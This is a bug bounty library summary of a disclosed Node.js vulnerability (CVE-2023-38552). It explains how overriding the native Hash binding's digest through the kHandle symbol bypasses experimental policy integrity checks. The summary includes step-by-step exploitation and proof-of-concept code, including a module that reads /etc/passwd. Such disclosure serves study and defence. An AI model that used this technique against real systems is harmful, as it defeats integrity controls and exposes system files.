# Integrity checks according to policies can be circumvented in Node.js 20 and Node.js 18

Node.js policy integrity checks could be bypassed by replacing the C++ binding prototype behind crypto.Hash, letting untrusted code load a forged protected module and gain its permissions.

- Payout: $1,270
- Severity: medium
- Program: Internet Bug Bounty
- Found by: tniessen
- Disclosed: 2023-11-30
- CVE: CVE-2023-38552
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/2208860
- Library page: https://bugbountylibrary.com/r/h1%3A2208860
- Tags: area:oss domain:oss impact:integrity impact:privesc kind:bounty platform:hackerone sev:medium tech:nodejs technique:source-review vuln:access-control vuln:auth-bypass

**Target:** Node.js experimental policy mechanism (--experimental-policy) integrity verification
**Root cause:** Policy integrity verification uses crypto.Hash, which relies on C++ bindings reachable via the kHandle symbol; the JS-level prototype protection doesn't cover the underlying binding prototype, so an app can override digest() to return a forged checksum.
**Steps:**
1. Create policy.json marking ./protected.js with a strict integrity hash and ./main.js as trusted-but-restricted (no fs).
2. In main.js, `const h = require('crypto').createHash('sha384'); const fakeDigest = h.digest();`
3. Find the kHandle symbol: `Object.getOwnPropertySymbols(h).find(s => s.description === 'kHandle')`
4. Override the binding prototype: `h[kHandle].constructor.prototype.digest = () => fakeDigest;`
5. `require('./protected.js')` where protected.js contains `console.log(require('fs').readFileSync('/etc/passwd').length);`
6. Run `node --experimental-policy=policy.json main.js` — integrity mismatch is ignored and /etc/passwd is read.
**How found:** Reporter reasoned that Node's Hash class protects its JS prototype but internally delegates to C++ bindings; inspecting the Hash instance revealed a kHandle symbol exposing the binding constructor, whose prototype could be mutated to forge digest output.
**Exploitation:** Attacker controls a policy-trusted entry module that lacks privileged module access; by monkeypatching the C++ Hash binding's digest to return the expected digest, the integrity check on a protected module passes, and the tampered protected module executes with its broader permissions (e.g., fs access), escalating privileges.
**Escalation:** Tampered protected module inherits the trusted module's full permissions, enabling access to modules (fs) the entry module was denied.
**Insight:** When a security check relies on a JS wrapper around native bindings, look for symbols (e.g. kHandle) exposing the underlying binding prototype — protections on the wrapper's prototype often don't extend to the binding, allowing output forgery.

## Proof of concept (copied exactly from the original report)

**main.js forging digest via kHandle prototype**

```
const h = require('crypto').createHash('sha384');
const fakeDigest = h.digest();

const kHandle = Object.getOwnPropertySymbols(h)
                      .find((s) => s.description === 'kHandle');
h[kHandle].constructor.prototype.digest = () => fakeDigest;
```

**protected.js reading /etc/passwd**

```
console.log(require('fs').readFileSync('/etc/passwd').length);
```

**Command running main.js with policy**

```
$ node --experimental-policy=policy.json main.js
```

